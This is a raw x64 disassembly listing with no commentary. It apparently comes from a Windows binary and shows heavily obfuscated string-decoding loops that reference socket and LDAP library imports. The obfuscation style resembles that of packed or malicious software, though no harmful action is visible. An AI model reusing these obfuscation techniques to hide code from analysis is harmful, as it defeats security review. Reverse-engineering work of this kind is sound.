cmp r8, rax
jb 0x1400c02e0
lea rax, [r9 + 0x400]
cmp r8, rax
jb 0x1400c02c6
lea rax, [r9 + 4]
cmp r8, rax
jb 0x1400c04ad
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c0462
lea rax, [r9 + 9]
cmp r8, rax
jb 0x1400c0421
lea r8, [r9 + 0x3e8]
lea r9, [r8 + 6]
lea rax, [r9 + 3]
cmp r8, rax
ja 0x1400c03f4
lea rax, [r9 + 0x7a]
cmp r8, rax
ja 0x1400c03d4
lea rax, [r9 + 8]
cmp r8, rax
ja 0x1400c03ba
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c039a
lea rax, [r9 + 0x1000]
cmp r8, rax
ja 0x1400c037b
lea rax, [r9 + 5]
cmp r8, rax
ja 0x1400c035c
lea rax, [r9 + 0x5a]
cmp r8, rax
ja 0x1400c033a
lea rax, [r9 + 0xa]
cmp r8, rax
ja 0x1400c0315
lea r8, [r9 + 0x10]
lea r9, [r8 + 8]
jmp 0x1400c0160
lea ecx, [r10 - 0x35]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x73
jmp 0x1400c0150
lea ecx, [r10 + 0x49]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
inc r11b
jmp 0x1400c00e3
sub r10b, 0x39
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x71
jmp 0x1400c0060
add r10b, 0x26
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0xa
inc r9
dec rdi
inc rdi
jmp 0x1400c0042
sub r10b, 0x5c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7c
dec rdi
inc rdi
jmp 0x1400c0042
lea edx, [r10 + 0x22]
movzx eax, dl
and al, bl
mov ecx, 9
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c0948
sub r10b, 0x60
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x60
add r8, r9
jmp 0x1400c0999
add r10b, 0x1e
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c0999
lea ecx, [r10 - 0x64]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x44
jmp 0x1400c09cc
add r10b, 0x1a
movzx eax, r10b
and al, bl
mov ecx, Ordinal_41
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c0a0e
sub r10b, 0x68
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x28
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0042
lea ecx, [r10 + 0x51]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x37
cmp r9, 0x3e8
jb 0x1400c0819
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, bl
mov edx, reloc.WLDAP32.dll_Ordinal_27
sub dl, al
add dl, dl
add dl, cl
add dl, bl
lea r11d, [rdx + rdx]
jmp 0x1400c0903
lea ecx, [r10 - 0x31]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x57
cmp r8, 0x200
jae 0x1400c0829
lea rax, [r9 + 0x42]
cmp r8, rax
jbe 0x1400c0767
lea edx, [r10 - 0x2e]
movzx eax, dl
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_33
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c0436
lea ecx, [r10 + 0x4d]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x1b
lea rax, [r9 + r8]
cmp rax, 0x80
je 0x1400c0846
lea rax, [r9 + 0x40]
cmp r8, rax
jbe 0x1400c06f2
lea ecx, [r10 - 3]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x15
jmp 0x1400c0477
add r10b, 0x7c
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x64
jmp 0x1400c0a0e
lea edx, [r10 - 6]
movzx eax, dl
and al, bl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c09cc
add r10b, 0x78
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x48
jmp 0x1400c0999
sub r10b, 0xa
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_35
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400c0999
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x2c
jmp 0x1400c0948
sub r10b, 0xe
movzx eax, r10b
and al, bl
mov ecx, Ordinal_50
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400c0042
add r10b, 0x70
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x10
inc r9
dec rdi
inc rdi
jmp 0x1400c0042
lea edx, [r10 - 0x12]
movzx eax, dl
and al, bl
mov ecx, 0x3f
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c0903
lea rax, [r9 + 0xa]
cmp r8, rax
jae 0x1400c0617
lea ecx, [r10 - 0x3f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x47
jmp 0x1400c04c2
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c0651
sub r10b, 0x56
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0042
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c0679
lea edx, [r10 - 0x52]
movzx eax, dl
and al, bl
mov ecx, Ordinal_32
sub cl, al
lea r11d, [rcx + rcx]
add r11b, dl
add r11b, bl
jmp 0x1400c09cc
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c069c
lea ecx, [r10 + 0x34]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x6c
jmp 0x1400c0948
lea rax, [r9 + 7]
cmp r8, rax
jne 0x1400c06cb
sub r10b, 0x4a
movzx eax, r10b
and al, bl
mov ecx, 3
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
dec rdi
inc rdi
jmp 0x1400c0042
lea rax, [r9 + 6]
cmp r8, rax
jne 0x1400c04c2
lea ecx, [r10 - 0x46]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x16
jmp 0x1400c0903
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400c0715
lea ecx, [r10 + 0x7f]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x79
jmp 0x1400c0903
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c0740
sub r10b, 0x7d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x6b
dec rdi
inc rdi
jmp 0x1400c0042
lea rax, [rcx + 1]
cmp r8, rax
jne 0x1400c0477
lea ecx, [r10 + 5]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x23
jmp 0x1400c0948
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400c079d
add r10b, 0x54
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x4c
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0042
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400c07c0
lea ecx, [r10 + 0x58]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x68
jmp 0x1400c09cc
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c07e9
sub r10b, 0x26
movzx eax, r10b
and al, bl
mov ecx, 5
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
jmp 0x1400c0999
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400c0436
add r10b, 0x5c
movzx eax, r10b
and al, bl
mov ecx, 0x3e
sub cl, al
lea r11d, [rcx + rcx]
add r11b, r10b
add r11b, bl
add r8, r9
jmp 0x1400c0999
mov byte [rbp + rdi + 0x620], r11b
inc rdi
jmp 0x1400c0042
lea edx, [r10 + 0x68]
movzx eax, dl
and al, bl
movzx ecx, bl
sub cl, al
add cl, 0x14
lea r11d, [rcx + rcx]
add r11b, dl
jmp 0x1400c0948
lea ecx, [r10 - 0x16]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rcx - 0x66]
jmp 0x1400c09cc
lea ecx, [r10 + 0x63]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x4b
jmp 0x1400c09cc
sub r10b, 0x1f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x27
jmp 0x1400c0999
add r10b, 0x5f
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x67
add r8, r9
jmp 0x1400c0999
add r10b, 0x5b
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x7d
dec rdi
inc rdi
jmp 0x1400c0042
lea ecx, [r10 + 0x57]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x61
jmp 0x1400c0903
movzx r10d, dil
lea ecx, [r10 + 0x53]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0x45
sub r10b, 0x59
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x6f
add r10b, bl
mov byte [rbp + rdi + 0x620], r10b
inc r9
dec rdi
inc rdi
jmp 0x1400c0042
movzx r10d, dil
lea ecx, [r10 - 0x33]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
add r11b, 0x65
add r10b, 0x29
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
sub r10b, 0x1f
add r10b, r11b
add r10b, bl
mov byte [rbp + rdi + 0x620], r10b
add r8, r9
jmp 0x1400c0999
lea ecx, [rdi + 0x4b]
movzx eax, cl
and al, bl
add al, al
sub cl, al
lea r11d, [rbx + rcx]
sub r11b, 0xd
add r8, r9
jmp 0x1400c0999
lea rax, [rdi + r14]
and dl, al
add dl, dl
sub bl, dl
lea r11d, [rax + rbx]
sub r11b, 0x7f
movzx eax, r11b
mov rcx, 0xffffffffffffffff
sub rcx, rax
add rdi, rcx
inc rdi
jmp 0x1400c0042
lea rcx, [rdi + r13]
and dl, cl
add dl, dl
movzx r11d, bl
sub r11b, dl
add r11b, 0xf
add r11b, cl
movzx r10d, dil
sub r10b, 0x55
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
add r10b, 0x53
add r10b, bl
movzx eax, r10b
mov byte [rbp + rdi + 0x620], al
inc r9
add rax, r9
sub rdi, rax
jmp 0x1400c0a0e
lea rcx, [rdi + r12]
and dl, cl
add dl, dl
movzx r11d, bl
sub r11b, dl
sub r11b, 0x63
add r11b, cl
lea edx, [rdi + 0x6c]
movzx eax, dl
and al, bl
mov ecx, 6
sub cl, al
add cl, cl
add cl, dl
add cl, bl
mov byte [rbp + rdi + 0x620], cl
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add rdi, rax
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0042
lea rax, [rdi + r15]
and dl, al
add dl, dl
sub bl, dl
lea r11d, [rax + rbx]
add r11b, 0x2b
movzx eax, byte [rbp + rdi + 0x620]
add rax, r9
add rdi, rax
inc rdi
jmp 0x1400c0042
add r10b, 0x45
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
add r11b, 0x1d
jmp 0x1400c0040
sub r10b, 0x3d
movzx eax, r10b
and al, bl
add al, al
sub r10b, al
lea r11d, [rbx + r10]
sub r11b, 0x55
jmp 0x1400c0030
lea rbx, [rbp + 0x174e3cc]
jmp 0x1400c0ac9
lea rbx, [rbp + 0xd9a98d]
jmp 0x1400c0ac9
lea rbx, [rbp + 0x620]
movzx edx, byte [rsp + 0x30]
lea rcx, [rbp + 0x47e8]
call fcn.140002dc0
nop
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rbx + r8], 0
jne 0x1400c0ae2
mov rdx, rbx
lea rcx, [rbp + 0x47e8]
call fcn.140004830
nop
movzx eax, word [reloc.WLDAP32.dll_Ordinal_50]
add al, 0x72
xor al, 0x7e
mov byte [rbp + 0x1e8], al
movzx eax, byte [0x140249041]
add al, 0x72
xor al, 0x7f
mov byte [rbp + 0x1e9], al
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1ea], xmm0
movups xmmword [rbp + 0x1fa], xmm0
mov byte [rbp + 0x20a], al
movabs r15, 0xb7e46a5d8984f27e
movabs r12, 0x73ee88ec2a2a172
movabs r14, 0x27ad3f189c8ed77a
movzx edx, byte [rsp + 0x30]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor r11d, r11d
cmp r11, 0x23
jae 0x1400c128e
movzx r10d, byte [rbp + r11 + 0x1e8]
mov ebx, r10d
nop dword [rax]
cmp r8, r11
ja 0x1400c1285
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c0bba
lea rcx, [r11 + r15]
mov eax, ebx
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rbx
add rdx, rcx
sub dl, 0x72
jmp 0x1400c0bf4
je 0x1400c121c
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c1197
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1140
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c111d
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c10d6
cmp r9, r11
ja 0x1400c127c
lea rsi, [r9 + 1]
lea rax, [r9 + 0x200]
cmp r8, rax
jae 0x1400c0c2a
lea ecx, [r11 + 0x56]
movzx eax, r10b
and al, cl
add al, al
movzx edx, r10b
sub dl, al
sub cl, 0x5a
add dl, cl
lea rcx, [r9 + 2]
jmp 0x1400c0c70
cmp r8, rsi
je 0x1400c10bb
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c109e
lea rax, [r9 + 4]
cmp r8, rax
je 0x1400c1081
lea rcx, [r9 + 2]
cmp r8, rcx
je 0x1400c1065
lea rax, [r9 + 7]
cmp r8, rax
je 0x1400c1038
nop word [rax + rax]
lea rdi, [r8 + r9]
cmp rdi, r11
jbe 0x1400c0dfe
nop dword [rax]
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c0ddf
lea rax, [r9 + 0x400]
cmp r8, rax
je 0x1400c0db9
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c0d9d
lea r8, [r9 + 6]
lea r9, [r8 + 2]
lea rax, [r9 + 0x41]
cmp r8, rax
jb 0x1400c1260
lea rax, [r9 + 6]
cmp r8, rax
jb 0x1400c1244
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400c0d77
lea r8, [r9 + 2]
lea r9, [r8 + 0x42]
lea rax, [r9 + 0x10]
cmp r8, rax
ja 0x1400c0d48
lea rax, [r9 + 0x3e8]
cmp r8, rax
ja 0x1400c0d2b
lea rax, [r9 + 1]
cmp r8, rax
ja 0x1400c0d0c
lea r8, [r9 + 0x42]
lea r9, [r8 + 1]
jmp 0x1400c0c80
lea edx, [r11 - 0x50]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
movzx ebx, r11b
jmp 0x1400c10ee
lea edx, [r11 - 0x34]
movzx eax, r10b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c11d7
lea edx, [r11 - 0x30]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x1e8]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0b73
lea ecx, [r11 + 0x5a]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x76
mov byte [rbp + r11 + 0x1e8], dl
inc r11
jmp 0x1400c0b73
lea edx, [r11 + 0xc]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x54
add dl, cl
jmp 0x1400c11a8
lea edx, [r11 + 0x20]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_recv
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
inc r9
dec r11
inc r11
jmp 0x1400c0b73
lea edx, [r11 + 0x24]
movzx eax, r10b
and al, dl
mov ecx, 2
sub cl, al
add cl, cl
add cl, r10b
movzx ebx, r11b
jmp 0x1400c10ee
lea rbx, [r9 + 9]
cmp r8, rbx
jae 0x1400c0eb0
lea edx, [r11 + 0x7e]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x72
add dl, cl
cmp rdi, 0x28
je 0x1400c1022
cmp r8, rbx
jbe 0x1400c0f2d
lea edx, [r11 + 6]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x2a
add dl, cl
lea rcx, [r9 + 4]
cmp r8, 0x5a
jae 0x1400c1004
lea rax, [r9 + 0x1000]
cmp r8, rax
jbe 0x1400c0f91
lea edx, [r11 + 0x5c]
movzx eax, r10b
and al, dl
mov ecx, 0x3e
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
cmp r9, 0x20
jb 0x1400c0d8d
lea edx, [r11 + 0x34]
movzx eax, r10b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
lea edx, [rcx + rcx]
movzx ebx, r11b
jmp 0x1400c10f0
cmp r8, rsi
jne 0x1400c0ee4
lea edx, [r11 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
movzx eax, byte [rbp + r11 + 0x1e8]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0b73
cmp r8, rcx
jne 0x1400c0f05
lea edx, [r11 - 0x5c]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7c
add dl, cl
jmp 0x1400c11a8
lea rax, [r9 + 5]
cmp r8, rax
jne 0x1400c0e22
lea ecx, [r11 - 0x64]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x44
jmp 0x1400c117c
cmp r8, rsi
jne 0x1400c0f50
lea edx, [r11 + 2]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0xe
movzx ebx, r11b
jmp 0x1400c10ee
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c0f67
lea edx, [r11 - 6]
mov ecx, reloc.WS2_32.dll_setsockopt
jmp 0x1400c1126
lea rcx, [r9 + 4]
cmp r8, rcx
jne 0x1400c0e50
lea edx, [r11 - 0xe]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_50
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c117c
cmp r8, rsi
jne 0x1400c0fc3
lea ecx, [r11 + 0x58]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x68
movzx eax, byte [rbp + r11 + 0x1e8]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0b73
cmp r8, rcx
jne 0x1400c0fe5
lea edx, [r11 + 0x48]
movzx eax, r10b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c117c
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400c0e82
lea edx, [r11 + 0x44]
mov ecx, reloc.WS2_32.dll_select
movzx ebx, r11b
jmp 0x1400c114c
lea edx, [r11 + 0x30]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x50
movzx ebx, r11b
jmp 0x1400c1156
lea ecx, [r11 + 0x2c]
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [rcx - 0x34]
jmp 0x1400c11a8
lea ecx, [r11 + 0x32]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
lea edx, [rcx + r10]
sub dl, 0x5e
movzx eax, byte [rbp + r11 + 0x1e8]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0b73
lea edx, [r11 + 0x36]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x7a
add dl, cl
jmp 0x1400c11d7
lea edx, [r11 + 0x3e]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c117f
lea edx, [r11 + 0x42]
movzx eax, r10b
and al, dl
mov ecx, Ordinal_27
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
jmp 0x1400c117c
lea edx, [r11 + 0x52]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x3e
movzx ebx, r11b
jmp 0x1400c10ee
movzx ebx, r11b
lea edx, [rbx + 0x5a]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
sub dl, 0x76
add dl, cl
sub bl, 0x4e
movzx eax, r10b
and al, bl
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
mov byte [rbp + r11 + 0x1e8], cl
inc r9
dec r11
inc r11
jmp 0x1400c0b73
lea edx, [r11 + 0x62]
mov ecx, reloc.WLDAP32.dll_Ordinal_41
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
dec r11
inc r11
jmp 0x1400c0b73
movzx ebx, r11b
lea edx, [rbx + 0x66]
mov ecx, reloc.WLDAP32.dll_Ordinal_27
movzx eax, r10b
and al, dl
sub cl, al
add cl, cl
add cl, r10b
add dl, cl
sub bl, 0x52
movzx eax, r10b
and al, bl
mov ecx, Ordinal_32
sub cl, al
add cl, cl
add cl, dl
add cl, r10b
add cl, bl
mov byte [rbp + r11 + 0x1e8], cl
add r8, r9
movzx eax, dl
mov rcx, 0xffffffffffffffff
sub rcx, rax
add r11, rcx
inc r11
jmp 0x1400c0b73
lea rax, [r11 + r12]
and bl, al
add bl, bl
sub al, bl
lea edx, [r10 + rax]
sub dl, 0x1e
movzx ebx, r11b
sub bl, 0x56
movzx eax, r10b
and al, bl
mov ecx, reloc.WLDAP32.dll_Ordinal_45
sub cl, al
add cl, cl
add cl, r10b
add cl, bl
movzx eax, cl
mov byte [rbp + r11 + 0x1e8], al
inc r9
add rax, r9
sub r11, rax
lea ecx, [r11 + 0x28]
movzx eax, r10b
and al, cl
add al, al
sub r10b, al
sub r10b, 0x18
add r10b, cl
mov byte [rbp + r11 + 0x1e8], r10b
inc r8
mov rax, 0xffffffffffffffff
sub rax, r8
add r11, rax
movzx eax, byte [rbp + r11 + 0x1e8]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0b73
lea rax, [r11 + r14]
and bl, al
add bl, bl
sub al, bl
lea edx, [r10 + rax]
sub dl, 0x56
movzx eax, byte [rbp + r11 + 0x1e8]
add rax, r9
add r11, rax
inc r11
jmp 0x1400c0b73
add r11b, 0x76
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x3a
jmp 0x1400c0b70
add r11b, 0x7a
movzx eax, r10b
and al, r11b
add al, al
sub r10b, al
lea edx, [r11 + r10]
sub dl, 0x56
jmp 0x1400c0b60
lea rdx, [rbp + 0x152ee90]
jmp 0x1400c1295
lea rdx, [rbp + 0xd7e10e]
jmp 0x1400c1295
lea rdx, [rbp + 0x1e8]
lea rcx, [rbp + 0x47c8]
call fcn.1400046a0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4840], xmm0
movups xmmword [rbp + 0x4850], xmm0
movups xmmword [rbp + 0x4860], xmm0
movups xmmword [rbp + 0x4870], xmm0
movups xmmword [rbp + 0x4880], xmm0
movups xmmword [rbp + 0x4890], xmm0
movups xmmword [rbp + 0x48a0], xmm0
movups xmmword [rbp + 0x48b0], xmm0
movups xmmword [rbp + 0x48c0], xmm0
mov qword [rbp + 0x48d0], rax
lea rdx, [rbp + 0x47e8]
lea rcx, [rbp + 0x38]
call fcn.1400027d0
nop
mov rdx, rax
lea rcx, [rbp + 0x4840]
call fcn.1400d0ae0
nop
lea rcx, [rbp + 0x38]
call fcn.140002a20
mov eax, dword [rbp + 0x4840]
test eax, eax
je 0x1400ca118
cmp eax, 0x190
jge 0x1400ca118
lea rdx, [rbp + 0x47c8]
lea rcx, [rbp + 0x4848]
call fcn.1400511e0
test al, al
jne 0x1400c32be
mov r9, qword [rbp + 0x4858]
dec r9
lea rax, [rsp + 0x32]
mov qword [rsp + 0x20], rax
xor r8d, r8d
lea rdx, [rbp + 0x4848]
lea rcx, [rbp + 0x58]
call fcn.1400046e0
lea rdx, [rbp + 0x58]
lea rcx, [rbp + 0x4848]
call fcn.140004610
lea rcx, [rbp + 0x58]
call fcn.140002a20
lea rdx, [rbp + 0x47c8]
lea rcx, [rbp + 0x4848]
call fcn.1400511e0
test al, al
jne 0x1400c32be
mov byte [rbp + 0x428], Ordinal_217
mov byte [rbp + 0x429], Ordinal_200
mov byte [rbp + 0x42a], 0xf0
mov byte [rbp + 0x42b], 0xf0
mov byte [rbp + 0x42c], Ordinal_211
mov byte [rbp + 0x42d], 0xca
mov byte [rbp + 0x42e], reloc.WLDAP32.dll_Ordinal_200
mov byte [rbp + 0x42f], 7
mov byte [rbp + 0x430], 0xc1
mov byte [rbp + 0x431], 0xfa
mov byte [rbp + 0x432], 0xa
mov byte [rbp + 0x433], Ordinal_200
mov byte [rbp + 0x434], 0xf9
mov byte [rbp + 0x435], 0xf9
mov byte [rbp + 0x436], 0xca
mov byte [rbp + 0x437], Ordinal_211
mov byte [rbp + 0x438], Ordinal_200
mov byte [rbp + 0x439], 0xf4
mov byte [rbp + 0x43a], 0xf6
mov byte [rbp + 0x43b], 0x59
mov byte [rbp + 0x43c], 0x54
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x43d], xmm0
mov qword [rbp + 0x44d], rax
mov dword [rbp + 0x455], eax
mov word [rbp + 0x459], ax
movabs rsi, 0x802b359b7eec91d0
movabs r14, 0x8184e27776512050
movabs r12, 0x812e77407877fcb0
movabs r15, 0x8081a0d27cc5b570
movzx edx, byte [rsp + 0x32]
nop word [rax + rax]
mov r8, qword [0x1402cdf20]
mov r9, qword [0x1402cdf18]
nop
xor ebx, ebx
cmp rbx, 0x33
jae 0x1400c1f81
movzx r11d, byte [rbp + rbx + 0x428]
mov edi, r11d
nop dword [rax + rax]
cmp r8, rbx
ja 0x1400c1f78
lea rax, [r9 + 1]
cmp r8, rax
jae 0x1400c14eb
lea rcx, [rbx + rsi]
mov rax, rdi
and rax, rcx
imul rdx, rax, 0xfffffffffffffffe
add rdx, rdi
add rdx, rcx
add dl, 0x50
jmp 0x1400c1518
je 0x1400c1f0d
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c1e82
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1e56
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c1e13
movzx r10d, bl
nop dword [rax]
cmp r9, rbx
ja 0x1400c1f6f
lea rax, [r9 + 0x61]
cmp r8, rax
jae 0x1400c1549
lea ecx, [r10 + 0x10]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x70
jmp 0x1400c1590
lea rax, [r9 + 1]
cmp r8, rax
je 0x1400c1dcc
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400c1da6
lea rax, [r9 + 2]
cmp r8, rax
je 0x1400c1d87
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400c1d67
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400c1d4d
nop word [rax + rax]
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400c1aac
nop dword [rax]
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x1400c1a9e
lea rax, [r9 + 0x2a]
cmp r8, rax
je 0x1400c1a80
lea rax, [r9 + 0x28]
cmp r8, rax
je 0x1400c1a5e
lea rax, [r9 + 0x5a]
cmp r8, rax
je 0x1400c1b5d
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400c1a3f
lea rax, [r9 + 0x41]
